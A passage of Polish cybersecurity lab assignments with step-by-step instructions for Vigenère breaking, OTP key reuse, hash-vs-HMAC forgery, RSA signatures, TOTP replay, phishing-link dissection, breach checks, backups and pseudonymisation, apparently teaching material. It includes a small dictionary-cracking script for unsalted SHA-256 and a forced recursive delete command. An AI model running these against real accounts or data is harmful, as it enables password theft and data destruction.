Przechwycono depeszę zaszyfrowaną szyfrem Vigenère’a z nieznanym słowem kluczowym. Prosta analiza częstości (zadanie 3) zawodzi, bo histogram jest wygładzony. Twoim zadaniem jest zastosować metodę Kasiskiego: znaleźć powtarzające się bloki liter, wyliczyć odległości między nimi i wywnioskować długość klucza, a następnie odczytać depeszę. Szyfrogram (klucz: KLUCZ, długość 5): YNBTN XLCPE YCGCB TTQAL KRUEH KRFGF YOIUJ YYUND XTUBZ LPTRH ONTGM CJMVD WZQVD VPCPE YCGCS INTPX MS.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz stronę dCode (dcode.fr/vigenere-cipher) i wklej powyższy szyfrogram do pola tekstowego.
2. Uruchom automatyczne wykrywanie długości klucza (metoda Kasiskiego i indeksu koincydencji). Zanotuj wskazaną długość: 5.
3. Sprawdź ręcznie jedną przesłankę Kasiskiego: odszukaj w szyfrogramie powtarzający się blok (np. YCGCB i YCGCS w pobliżu oraz W-otoczenia) i policz odległość między wystąpieniami. Zanotuj, że odległość jest wielokrotnością 5.
4. Odczytaj klucz zaproponowany przez dCode (KLUCZ) i odszyfruj pełny tekst jawny. Zweryfikuj sensowność polskiego tekstu.
5. Powtórz odszyfrowanie w CyberChef operacją Vigenère Decode (uwaga na literę è w nazwie) z kluczem KLUCZ i porównaj wynik z dCode.
6. Wyjaśnij w jednym akapicie, dlaczego po podzieleniu szyfrogramu na 5 kolumn każda kolumna jest zwykłym szyfrem Cezara łamalnym analizą częstości z zadania 3.
7. Wykonaj zrzut ekranu z wykrytą długością klucza i odszyfrowanym tekstem.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Powtarzanie krótkiego klucza wprowadza okresowość, a okresowość zdradza długość klucza przez odległości powtarzających się bloków - to istota testu Kasiskiego.
• Szyfr polialfabetyczny o znanej długości klucza rozpada się na tyle szyfrów monoalfabetycznych, ile liter liczy klucz, i każdy pada analizą częstości Al-Kindiego.
• Osiągnięcie: wyznaczenie długości klucza (5), odtworzenie słowa KLUCZ i odszyfrowanie depeszy dwoma niezależnymi narzędziami.

Cel

Celem zadania jest doświadczalne potwierdzenie dwóch twierdzeń Shannona: poprawnie użyty szyfr Vernama (XOR z losowym kluczem) jest niełamliwy, natomiast dwukrotne użycie tego samego klucza ujawnia relację między tekstami jawnymi. Student wykonuje oba eksperymenty w Pythonie bez żadnych bibliotek zewnętrznych.

Scenariusz

Dwie placówki otrzymały ten sam arkusz z kluczem jednorazowym i - wbrew procedurze - użyły go dwukrotnie do różnych meldunków. Przeciwnik przechwycił oba szyfrogramy. Twoim zadaniem jest najpierw pokazać, że pojedynczy szyfrogram OTP jest nieodróżnialny od losowości, a potem udowodnić, że para szyfrogramów na jednym kluczu zdradza XOR tekstów jawnych, czyli treść meldunków bez znajomości klucza.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz Python 3 portable w Windows albo emulator JSLinux Alpine (najpierw sprawdź: command -v python3). Nie instaluj nic poleceniem pip - wystarczą moduły secrets i hashlib z biblioteki standardowej.
2. Zapisz skrypt otp.py (w JSLinux: wklej treść do polecenia cat << 'EOF' > otp.py zakończonego linią EOF; w Windows: Notatnikiem lub poleceniem Set-Content):

   import secrets
   def xor(a: bytes, b: bytes) -> bytes:
       return bytes(x ^ y for x, y in zip(a, b))
   p1 = 'ATAK O SWICIE'.encode('ascii')
   k = secrets.token_bytes(len(p1))  # klucz dlugosci wiadomosci, uzyty raz
   c1 = xor(p1, k)
   print('szyfrogram:', c1.hex())
   print('odzysk:', xor(c1, k).decode('ascii'))

   Uruchom (w JSLinux: python3 otp.py, w Windows: python otp.py). Uruchom dwukrotnie i porównaj wydruki: ten sam tekst daje za każdym razem inny szyfrogram.
3. Dopisz część drugą (powtórka klucza):

   p2 = 'WYCOFAJ SIE!!'.encode('ascii')  # ta sama dlugosc co p1 (13 znakow)
   c2 = xor(p2, k)  # BLAD proceduralny: ten sam klucz drugi raz
   print('C1 xor C2 =', xor(c1, c2).hex())
   print('P1 xor P2 =', xor(p1, p2).hex())

   Sprawdź, że oba wydruki są identyczne: klucz się skasował, została relacja jawnych tekstów.
4. W sprawozdaniu wyjaśnij, dlaczego z samego C1 nie da się nic wywnioskować (każdy tekst jawny tej długości jest równie prawdopodobny), a z pary (C1, C2) atakujący układa już sensowne odgadnięcia (tzw. crib-dragging).
5. Wykonaj zrzut ekranu z dwoma uruchomieniami (różne szyfrogramy) oraz z równością XOR-ów przy powtórce.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Tajność doskonała wymaga trzech warunków łącznie: klucz w pełni losowy, długości co najmniej wiadomości i użyty dokładnie jeden raz; złamanie dowolnego warunku unieważnia gwarancję.
• Powtórka klucza kasuje klucz z równania (K xor K = 0) i zostawia atakującemu XOR tekstów jawnych, łamalny metodą odgadywanych fragmentów.
• Osiągnięcie: dwa uruchomione eksperymenty w czystym standardowym Pythonie - losowość szyfrogramu oraz dowód wycieku przy reużyciu.

Cel

Celem zadania jest doświadczalne rozróżnienie wykrywania zmiany (zwykły SHA-256) od uwierzytelniania zmiany (HMAC-SHA-256 z tajnym kluczem). Student pokazuje, że aktywny fałszerz bez trudu podmienia plik razem z gołym skrótem, natomiast bez klucza HMAC podrobienie znacznika jest niewykonalne.

Scenariusz

Firma przesyła kontrahentowi cennik z sumą SHA-256 w osobnym pliku. Atakujący na łączu podmienia obie pozycje: cennik i sumę. Odbiorca weryfikuje i wszystko się zgadza, mimo fałszerstwa. Twoim zadaniem jest odtworzyć ten atak w JSLinux, a następnie pokazać, że znacznik HMAC liczony tajnym kluczem fałszerstwa nie przeżywa.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256). Najpierw sprawdź: command -v openssl. Jeżeli polecenie openssl zgłosi not found, wykonaj apk add openssl, a gdy sieć emulatora nie działa, użyj OpenSSL portable na Windows (te same polecenia) i odnotuj to; karty Fedory nie używaj (długi start, wolna emulacja).
2. Utwórz zamówienie i jego goły skrót:

   echo -n 'PRZELEW: 1000 PLN NA KONTO 11-2233' > zlecenie.txt
   sha256sum zlecenie.txt > suma.txt; cat suma.txt

3. Zagraj atakującego: podmień treść i dosztukuj nową sumę:

   echo -n 'PRZELEW: 9000 PLN NA KONTO 99-8877' > zlecenie.txt
   sha256sum zlecenie.txt > suma.txt; cat suma.txt
   sha256sum -c suma.txt

   Zanotuj: weryfikacja zgłasza OK, choć dokument jest fałszywy.
4. Powtórz scenę z kluczem: wystaw znacznik HMAC:

   echo -n 'PRZELEW: 1000 PLN NA KONTO 11-2233' > zlecenie.txt
   openssl dgst -sha256 -hmac 'WspolnySekret99' zlecenie.txt

   Zapisz wydruk. Podmień treść jak w kroku 3 i przelicz HMAC tym samym kluczem (odbiorca) - znacznik jest inny, fałszerstwo wykryte:

   echo -n 'PRZELEW: 9000 PLN NA KONTO 99-8877' > zlecenie.txt
   openssl dgst -sha256 -hmac 'WspolnySekret99' zlecenie.txt

5. Pokaż rolę klucza: przelicz HMAC błędnym kluczem:

   openssl dgst -sha256 -hmac 'ZlySekret' zlecenie.txt

   Porównaj z wydrukiem z kroku 4: różne klucze dają różne znaczniki dla tych samych danych.
6. Wykonaj zrzut ekranu: fałszywe OK dla gołego skrótu obok rozjazdu HMAC po podmianie treści.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Goła suma kontrolna chroni przed pomyłką i uszkodzeniem, ale nie przed aktywnym fałszerzem, który przelicza sumę po podmianie treści.
• HMAC wiąże integralność z tajemnicą: weryfikator z kluczem wykrywa każdą podmianę, a atakujący bez klucza nie wytworzy poprawnego znacznika.
• Osiągnięcie: dwa protokoły wykonane tymi samymi rękami - przechodzące fałszerstwo na gołym SHA-256 i wykryte fałszerstwo na HMAC-SHA-256.

Cel

Celem zadania jest wystawienie i zweryfikowanie podpisu cyfrowego RSA pod dokumentem oraz dowód, że jakakolwiek zmiana dokumentu albo zamiana klucza weryfikację unieważnia. Student rozróżnia podpis (asymetryczny, niezaprzeczalny) od HMAC z zadania 44 (symetryczny, zaprzeczalny).

Scenariusz

Dziekanat wystawia zaświadczenie w pliku i dokleja podpis cyfrowy. Student przerabia treść pliku na wyższą ocenę, licząc, że nikt nie sprawdzi podpisu. Twoim zadaniem jest wcielić się kolejno w wystawcę (generujesz parę kluczy, podpisujesz), w uczciwego weryfikatora (weryfikacja przechodzi) oraz w fałszerza (zmiana jednej litery i weryfikacja cudzym kluczem - obie próby muszą zakończyć się odmową).

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz emulator JSLinux Alpine (najpierw sprawdź: command -v openssl; przy braku programu: apk add openssl, a bez sieci użyj OpenSSL portable na Windows). Wszystkie poniższe polecenia działają też w OpenSSL portable na Windows.
2. Wygeneruj parę kluczy RSA 2048 bity (minimum uznawane dziś za bezpieczne):

   openssl genrsa -out priv.pem 2048
   openssl rsa -in priv.pem -pubout -out pub.pem
   ls -l priv.pem pub.pem

   Generowanie może potrwać kilkanaście sekund w emulatorze - to normalne. Klucz priv.pem traktuj jak pieczątkę: nikomu go nie pokazuj.
3. Utwórz dokument i podpisz go kluczem prywatnym:

   echo -n 'ZASWIADCZENIE: Jan Kowalski, ocena 4.0, 2026' > dokument.txt
   openssl dgst -sha256 -sign priv.pem -out dokument.sig dokument.txt
   ls -l dokument.sig

4. Zweryfikuj poprawny dokument kluczem publicznym:

   openssl dgst -sha256 -verify pub.pem -signature dokument.sig dokument.txt

   Oczekiwany wynik: Verified OK. Zapisz zrzut.
5. Zagraj fałszerza - podmień jedną literę i weryfikuj ponownie:

   cp dokument.txt falszerstwo.txt
   echo -n 'ZASWIADCZENIE: Jan Kowalski, ocena 5.0, 2026' > falszerstwo.txt
   openssl dgst -sha256 -verify pub.pem -signature dokument.sig falszerstwo.txt

   Oczekiwany wynik: Verification Failure.
6. Wygeneruj drugą, cudzą parę kluczy i spróbuj zweryfikować oryginalny dokument cudzym kluczem publicznym:

   openssl genrsa -out obcy.pem 2048
   openssl rsa -in obcy.pem -pubout -out obcy_pub.pem
   openssl dgst -sha256 -verify obcy_pub.pem -signature dokument.sig dokument.txt

   Oczekiwany wynik: Verification Failure - podpis nie pochodzi od posiadacza tego klucza.
7. Wykonaj zrzut ekranu z trzema weryfikacjami: OK, Failure po zmianie treści, Failure na cudzym kluczu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Podpis RSA wiąże dokument z posiadaczem klucza prywatnego: weryfikacja przechodzi tylko przy niezmienionej treści i właściwym kluczu publicznym.
• W przeciwieństwie do HMAC (wspólny sekret, obie strony mogą zaprzeczać), podpisu nie da się podrobić bez klucza prywatnego, więc wystawca nie może zaprzeczyć autorstwu - to niezaprzeczalność.
• Osiągnięcie: pełny cykl klucz-podpis-weryfikacja-fałszerstwo wykonany w OpenSSL, z trzema udokumentowanymi wynikami weryfikacji.

Cel

Celem zadania jest zrozumienie działania kodu jednorazowego TOTP: tajny seed plus aktualny czas dają 6 cyfr ważnych 30 sekund. Student pokazuje, że przechwycony kod po wygaśnięciu okna jest bezwartościowy, czyli atak powtórzenia (replay) działa tylko w wąskim oknie czasowym.

Scenariusz

Wdrażasz logowanie dwuskładnikowe do panelu administracyjnego. Użytkownicy narzekają, że kod z telefonu czasem nie przechodzi. Podejrzewasz rozjazd zegarów albo próby wklejania starych kodów z podsłuchu. Twoim zadaniem jest na secdzie demonstracyjnym JBSWY3DPEHPK3PXP pokazać zarządowi trzy stany kodu: świeży (przechodzi), z poprzedniego okna (serwer może odrzucić) oraz wyjaśnić, dlaczego samo hasło bez drugiego składnika nie wystarcza.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce generator TOTP liczący kody lokalnie w JavaScript, np. totp.danhersam.com albo generator w it-tools.tech (OTP generator) (sekcja generatora TOTP). Żadne konto ani instalacja nie są potrzebne (samo załadowanie strony wymaga internetu); seed demonstracyjny nie chroni żadnych prawdziwych danych.
2. Wpisz seed demonstracyjny: JBSWY3DPEHPK3PXP. Zanotuj wyświetlony 6-cyfrowy kod oraz pasek odliczania do końca 30-sekundowego okna.
3. Odczekaj do zmiany kodu (pasek dochodzi do zera i pojawia się nowy kod). Zapisz oba kody: poprzedni i bieżący, wraz z godziną odczytu co do minuty.
4. Otwórz tę samą stronę w drugiej karcie (tryb weryfikatora) i wpisz najpierw kod bieżący (symulacja logowania na czas - SUKCES), a potem kod poprzedni (symulacja ataku powtórzenia przechwyconym kodem - serwer produkcyjny go odrzuca albo przyjmuje tylko w tolerancji jednego okna wstecz; zanotuj zachowanie generatora).
5. Wyjaśnij w sprawozdaniu łańcuch: seed + znacznik czasu (liczba okien od epoki) -> HMAC-SHA-1 -> obcięcie do 6 cyfr. Dlatego obie strony muszą mieć ten sam seed i zgodny czas (rozjazd powyżej minuty psuje logowanie z kroku 3).
6. Wykonaj zrzut ekranu: seed (jawny, demonstracyjny), kod bieżący z paskiem czasu oraz próba użycia kodu wygasłego.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Drugi składnik nie jest drugim hasłem, lecz dowodem posiadania seedu w danym momencie czasu; ważność 30 sekund radykalnie zawęża okno ataku powtórzenia.
• Synchronizacja zegarów jest częścią mechanizmu bezpieczeństwa: rozjazd czasu to najczęstsza przyczyna fałszywych odmów, a nie atak.
• Osiągnięcie: demonstracja cyklu życia kodu TOTP na secdzie testowym, z udokumentowanym wygaśnięciem i wnioskiem o odrzucaniu starych kodów.

Cel

Celem zadania jest przeprowadzenie kontrolowanego ataku słownikowego na skrót SHA-256 słabego hasła oraz dowód, że ta sama lista słów nie łamie wersji solonej. Student mierzy czas ataku i formułuje wymóg soli.

Scenariusz

Z bazy wyciekła tabela loginów ze skrótami SHA-256 bez soli. Audytor ma sprawdzić, ile kont pada w minutę na małej liście 20 popularnych haseł, a potem pokazać zarządowi, że dopisanie unikalnej soli do każdego hasła ten sam atak unieważnia. Pracujesz wyłącznie na danych fikcyjnych i na własnym skrypcie - żadnych prawdziwych baz ani programów łamiących.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz Python 3 portable (Windows) albo emulator JSLinux Alpine (najpierw sprawdź: command -v python3). Nie instaluj nic poleceniem pip.
2. Zapisz skrypt slownik.py (w JSLinux: wklej treść do polecenia cat << 'EOF' > slownik.py zakończonego linią EOF; w Windows: Notatnikiem lub poleceniem Set-Content):

   import hashlib, time
   slownik = ['123456', 'qwerty', 'haslo123', 'Polska2026', 'admin123',
              'letmein', 'welcome1', 'Tajne2026!', 'mama123', 'kochamcie',
              'football', 'dragon12', 'master01', 'slonce88', 'zima2026',
              'lato2026', 'komputer1', 'internet9', 'samsung7', 'haslo1234']
   cel = hashlib.sha256('haslo123'.encode()).hexdigest()
   print('cel:', cel)
   start = time.time()
   traf = None
   for h in slownik:
       if hashlib.sha256(h.encode()).hexdigest() == cel:
           traf = h; break
   print('zlamano:', traf, 'czas: %.3f s' % (time.time() - start))

   Uruchom (w JSLinux: python3 slownik.py, w Windows: python slownik.py). Zanotuj czas (ułamki sekundy) i złamane hasło.
3. Dopisz test soli: ten sam słownik wobec zapisu sól$skrót(sól+hasło) z losową solą na użytkownika:

   import secrets
   sol = secrets.token_hex(8)
   solony = sol + '$' + hashlib.sha256((sol + 'haslo123').encode()).hexdigest()
   print('zapis solony:', solony)
   # atakujacy bez soli nie trafi: porownaj gole skroty slownika z czescia po $
   sama_suma = solony.split('$')[1]
   print('ktos ze slownika pasuje?', any(hashlib.sha256(h.encode()).hexdigest() == sama_suma for h in slownik))

   Uruchom i zanotuj wynik False.
4. Powtórz atak z kroku 2 dla hasła spoza słownika: ustaw cel na skrót hasła Tajne2026! z dosztukowaną losową solą (jak w kroku 3) i pokaż, że atak słownikowy zawodzi, gdy hasła nie ma na liście.
5. W sprawozdaniu podaj trzy liczby: rozmiar słownika (20), czas łamania wersji niesolonej oraz wynik ataku na wersję soloną.
6. Wykonaj zrzut ekranu z oboma uruchomieniami skryptu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Goły szybki skrót słabego hasła pada na słowniku 20 pozycji w ułamku sekundy; szybkość SHA-256 działa tu na korzyść atakującego.
• Unikalna sól na hasło unieważnia gotowe słowniki i tablice tęczowe: atakujący musi liczyć od nowa dla każdej soli, a dwa identyczne hasła dają różne zapisy.
• Osiągnięcie: zmierzony atak na wersji niesolonej i udokumentowana odporność wersji solonej przy tym samym słowniku.

Cel

Celem zadania jest rozbrojenie podejrzanego linku phishingowego metodą analityka: rozbiór adresu na części, wykrycie homografu przez Punycode oraz sprawdzenie certyfikatu TLS i nagłówków bezpieczeństwa legalnego serwisu. Student nie klika linku, lecz go sekcjonuje.

Scenariusz

Na skrzynkę działu księgowości przychodzi wiadomość z linkiem do rzekomego banku i ponagleniem do dopłaty. Nadawca wygląda znajomo (zadanie 23), a strona ma kłódkę. Twoim zadaniem jest udowodnić, że kłódka nie oznacza tożsamości firmy, domena jest homografem z cyrylicą, a prawdziwy bank stawia dodatkowe nagłówki (HSTS), których podróbka zwykle nie ma.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz PowerShell (zwykły użytkownik, bez administratora). Żadnych instalacji: wystarczą wbudowane polecenia i curl.exe z Windows 10/11.
2. Rozbierz podejrzany adres na części bez otwierania go w przeglądarce:

   $u = [System.Uri]'https://www.mbank-secure-login.example.com:443/klient/?id=7781#start'
   $u | Select-Object Scheme, Host, Port, AbsolutePath, Query

   Zanotuj: schemat, host (to on decyduje, nie ścieżka), port i zapytanie. Wskaż, że prawdziwy bank nie używa dopisków po myślniku w domenie głównej.
3. Wykryj homograf: domena z literą z cyrylicy wygląda identycznie, ale koduje się inaczej:

   $idn = New-Object System.Globalization.IdnMapping
   $idn.GetAscii('аpple.com')
   $idn.GetAscii('mсbank.pl')

   Oczekiwane wyniki: xn--pple-43d.com oraz xn--mbank-1ye.pl. Wyjaśnij: przeglądarka pokazuje taki zapis celowo, gdy wykryje mieszankę alfabetów (nawiązanie do zadania 24).
4. Sprawdź certyfikat i nagłówki prawdziwego serwisu (kontrola pozytywna):

   curl.exe -vI https://www.gov.pl 2>&1 | Select-String -Pattern 'subject:|issuer:|start date|expire| Strict-Transport-Security|HTTP/'

   Zanotuj wystawcę (issuer), dla kogo wydano (subject), daty ważności oraz obecność Strict-Transport-Security.
5. Kliknij kłódkę w przeglądarce na stronie banku i porównaj nazwę organizacji z wydruku curl z kroku 4. Zanotuj rozróżnienie: certyfikat potwierdza kontrolę nad domeną, a nie uczciwość właściciela - fałszywa domena też może mieć ważny certyfikat i kłódkę.
6. Sformułuj procedurę 4 kroków dla księgowości: nie klikaj - przepisz domenę ręcznie - sprawdź Punycode przy podejrzeniu - zweryfikuj nowym kanałem (telefon) przed przelewem. Wykonaj zrzut ekranu z tabelą rozbioru adresu i wynikami Punycode.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• O tożsamości serwisu decyduje wyłącznie host (domena), nie ścieżka, parametry ani wygląd strony; dopiski po myślniku i obce przyrostki to standardowe przynęty.
• Kłódka oznacza szyfrowanie do tej domeny, a nie uczciwość jej właściciela; homograf z ważnym certyfikatem też wyświetli kłódkę.
• Osiągnięcie: rozbiór adresu, dwa wykryte homografy w Punycode oraz odczytany łańcuch certyfikatu z nagłówkiem HSTS - wszystko bez uprawnień administratora.

Cel

Celem zadania jest sprawdzenie, czy prywatny adres poczty i używane hasła figurują w publicznych bazach wycieków, oraz zrozumienie mechanizmu anonimizacji zapytania (k-anonimowość: do serwisu trafia tylko 5-znakowy prefiks skrótu). Student wykonuje kontrolę bez zakładania konta i bez wysyłania haseł w całości.

Scenariusz

Podczas audytu okazuje się, że pracownicy logują się do firmowej poczty hasłami używanymi wcześniej w sklepach i portalach, które miały wycieki. Twoim zadaniem jest na własnym prywatnym adresie (nie służbowym pracowników) pokazać skalę problemu: ile baz zawiera ten adres, czy hasło testowe jest złamane oraz jaka decyzja z tego wynika (zmiana haseł, MFA z zadania 46, menedżer z zadania 36).

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz serwis haveibeenpwned.com (projekt Troya Hunta agregujący publiczne wycieki). Konto nie jest potrzebne.
2. Wpisz własny prywatny adres poczty i zanotuj: liczbę naruszeń (breaches), nazwy 2-3 największych baz z datami oraz czy adres figuruje w spam-listach (pastes). Nie wpisuj adresów cudzych ani służbowych kolegów.
3. Otwórz podstronę haveibeenpwned.com/Passwords i sprawdź hasło testowe Haslo123!. Zanotuj liczbę wystąpień w wyciekach. Następnie sprawdź długą frazę w stylu slonko-grzeje-las-77-pogoda i porównaj wyniki.
4. Wyjaśnij mechanizm prywatności: strona liczy SHA-1 hasła lokalnie w przeglądarce i wysyła tylko pierwsze 5 znaków skrótu; serwis zwraca listę sufiksów do porównania po stronie klienta. Dlatego pełne hasło nigdy nie opuszcza komputera.
5. Sformułuj 3 decyzje poaudytowe: natychmiastowa zmiana powielanych haseł, włączenie MFA (zadanie 46) oraz przeniesienie haseł do menedżera (zadanie 36).
6. Wykonaj zrzut ekranu z zamazanym w edytorze fragmentem własnego adresu (pokaż liczbę naruszeń, ukryj pełny adres) oraz z porównaniem obu haseł testowych.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Powielone hasło jest tak słabe, jak najsłabszy serwis, w którym go użyto; wyciek z forum sprzed lat łamie dzisiejsze konto pocztowe.
• Kontrola wycieków jest bezpieczna dzięki k-anonimowości: 5-znakowy prefiks nie pozwala serwisowi odtworzyć hasła, a wystarcza do odpowiedzi.
• Osiągnięcie: udokumentowana kontrola własnego adresu i dwóch haseł testowych wraz z trzema decyzjami naprawczymi.

Cel

Celem zadania jest wykonanie pełnego cyklu kopii zapasowej: archiwizacja wbudowanym narzędziem, manifest skrótów SHA-256, symulowana utrata danych oraz odtworzenie z weryfikacją bitowej zgodności. Student dowodzi, że kopia bez testu odtwarzania jest tylko deklaracją.

Scenariusz

Małe biuro trzyma oferty w jednym folderze na jednym dysku. Wczoraj ransomware zaszyfrował dysk sąsiada z branży (zadanie 18). Szef pyta, czy wasze kopie na pendrive i w chmurze naprawdę wystarczą. Twoim zadaniem jest na fikcyjnych danych pokazać cały łańcuch: pakowanie, manifest, dwie lokalizacje, kasowanie oryginału (symulacja ataku) i odtworzenie z potwierdzeniem skrótami.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz PowerShell jako zwykły użytkownik. Utwórz dane testowe:

   New-Item -ItemType Directory -Force projekt, kopia_lokalna, kopia_offsite | Out-Null
   Set-Content projekt\oferta.txt 'OFERTA 77/2026: 120 000 PLN netto'
   Set-Content projekt\cennik.csv 'towar;cena;usluga A;100;usluga B;250'
   Set-Content projekt\notatki.txt 'Kontakt: Biuro Obslugi, tel. 61-000-000'
   Get-ChildItem projekt

2. Spakuj wbudowanym poleceniem (bez instalowania czegokolwiek) i wystaw manifest skrótów:

   Compress-Archive -Path projekt\* -DestinationPath kopia_lokalna\backup.zip -Force
   Get-FileHash projekt\* -Algorithm SHA256 | Export-Csv manifest.csv -NoTypeInformation
   Get-Content manifest.csv

3. Zrealizuj regułę 3-2-1: oryginał (projekt) plus dwie kopie na dwóch nośnikach:

   Copy-Item kopia_lokalna\backup.zip kopia_offsite\backup_offsite.zip
   Copy-Item manifest.csv kopia_offsite\manifest_offsite.csv
   Get-ChildItem projekt, kopia_lokalna, kopia_offsite | Select-Object FullName

   Zanotuj: 3 egzemplarze danych, 2 lokalizacje (lokalna i offsite).
4. Zasymuluj ransomware: zniszcz oryginał:

   Remove-Item projekt -Recurse -Force
   Get-ChildItem projekt -ErrorAction SilentlyContinue; Write-Output 'ORYGINAL UTACONY (symulacja)'

5. Odtwórz z kopii offsite i zweryfikuj bitową zgodność z manifestem:

   New-Item -ItemType Directory -Force odtworzone | Out-Null
   Expand-Archive -Path kopia_offsite\backup_offsite.zip -DestinationPath odtworzone -Force
   $ok = $true; Import-Csv kopia_offsite\manifest_offsite.csv | ForEach-Object {
     $plik = Join-Path 'odtworzone' (Split-Path $_.Path -Leaf)
     $h = (Get-FileHash $plik -Algorithm SHA256).Hash
     if ($h -ne $_.Hash) { $ok = $false; Write-Output ('NIEZGODNY: ' + $plik) } }
   if ($ok) { Write-Output 'ODTWORZONO POPRAWNIE: wszystkie skroty zgodne' }

6. Wykonaj zrzut ekranu: manifest przed utratą oraz komunikat o poprawnym odtworzeniu po utracie.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Kopia liczy się dopiero po teście odtwarzania: sam plik ZIP na dysku nie dowodzi niczego, dopóki nie zostanie rozpakowany i porównany skrótami.
• Reguła 3-2-1 rozprasza ryzyko: awaria dysku zabiera oryginał, ransomware sięga kopii lokalnej, a kopia odizolowana (offsite/offline) pozwala odtworzyć.
• Osiągnięcie: pełny cykl backup-manifest-utrata-odtworzenie-weryfikacja wykonany wbudowanymi poleceniami Windows bez uprawnień administratora.

Cel

Celem zadania jest przekształcenie jawnego zestawienia osobowego w zbiór pseudonimizowany: bezpośrednie identyfikatory znikają, zastępują je powtarzalne skróty z tajną solą (projektowe pseudonimy), a wiek zostaje zgrubiony do przedziałów. Student pokazuje, co wolno przekazać analitykowi, a czego nie.

Scenariusz

Dział marketingu prosi o listę klientów z ocenami satysfakcji do analizy statystycznej. Inspektor ochrony danych zgadza się pod warunkiem: żadnych imion, nazwisk ani adresów e-mail w jawnej postaci. Twoim zadaniem jest przygotować dwa pliki: roboczy oryginał (zostaje w sejfie) oraz analityczny pseudonimizowany, w którym ten sam klient zawsze ma ten sam pseudonim (łączenie rekordów działa), ale odczytanie tożsamości z pseudonimu jest niewykonalne bez soli.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz Python 3 portable (Windows) albo emulator JSLinux Alpine (najpierw sprawdź: command -v python3). Żadnych pakietów zewnętrznych.
2. Zapisz fikcyjne dane klienci.csv (w JSLinux: wklej treść do polecenia cat << 'EOF' > klienci.csv zakończonego linią EOF; w Windows: Notatnikiem, po jednej linii na wiersz):

   id,imie,nazwisko,email,wiek,ocena
   1,Anna,Kowalska,anna.k@przyklad.pl,34,5
   2,Jan,Nowak,jan.n@przyklad.pl,41,3
   3,Ewa,Wisniewska,ewa.w@przyklad.pl,29,4
   4,Piotr,Zielinski,piotr.z@przyklad.pl,67,5

   Dane są w całości fikcyjne i służą tylko ćwiczeniu.
3. Zapisz skrypt pseudonimizuj.py (w JSLinux: wklej treść do polecenia cat << 'EOF' > pseudonimizuj.py zakończonego linią EOF; w Windows: Notatnikiem lub poleceniem Set-Content):

   import csv, hashlib, secrets
   sol = secrets.token_hex(16)  # tajna sol projektu, NIE do raportu
   print('sol dlugosci:', len(sol))
   def pseudonim(email: str) -> str:
       return 'P-' + hashlib.sha256((sol + email.strip().lower()).encode()).hexdigest()[:12]
   def przedzial(wiek: int) -> str:
       return f'{(wiek // 10) * 10}-{(wiek // 10) * 10 + 9}'
   with open('klienci.csv', newline='', encoding='utf-8') as f, \
        open('analityka.csv', 'w', newline='', encoding='utf-8') as o:
       w = csv.DictWriter(o, fieldnames=['pseudonim', 'przedzial_wieku', 'ocena'])
       w.writeheader()
       for r in csv.DictReader(f):
           w.writerow({'pseudonim': pseudonim(r['email']),
                       'przedzial_wieku': przedzial(int(r['wiek'])),
                       'ocena': r['ocena']})

   Uruchom (w JSLinux: python3 pseudonimizuj.py, w Windows: python pseudonimizuj.py).
4. Otwórz analityka.csv i sprawdź: brak imion, nazwisk i adresów; ten sam adres e-mail powtórzony w danych daje ten sam pseudonim (powtarzalność do łączenia); wiek widnieje jako przedział (20-29, 30-39).
5. Pokaż granicę: dopisz do skryptu próbę odwrócenia (słownik 4 adresów bez soli) i zanotuj, że bez soli pseudonimów nie da się powiązać z osobami, natomiast z solą (którą trzyma administrator) powiązanie jest możliwe - dlatego to pseudonimizacja, a nie anonimizacja.
6. Wykonaj zrzut ekranu: obie tabele obok siebie (oryginał jawny kontra plik analityczny) oraz wydruk długości soli.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Pseudonimizacja usuwa identyfikatory bezpośrednie, ale zachowuje powtarzalność klucza analitycznego; bezpieczeństwo całości zależy od tajności i odrębnego przechowywania soli.
• Zgrubienie (przedziały wieku) dokłada ochronę przed wyróżnieniem pojedynczych osób; sama zamiana e-maili na skróty bez soli byłaby odwracalna słownikiem.
• Osiągnięcie: dwa pliki (jawny sejfowy i analityczny) wytworzone czystym standardowym Pythonem, z udokumentowaną granicą odwracalności.

Cel

Celem zadania jest przeprowadzenie audytu własnej stacji roboczej kontem zwykłego użytkownika: przegląd uprawnień NTFS do folderu roboczego, odczyt polityki haseł i kont oraz przegląd błędów z dziennika aplikacji. Student wystawia 5 zaleceń bez zmiany czegokolwiek w systemie.

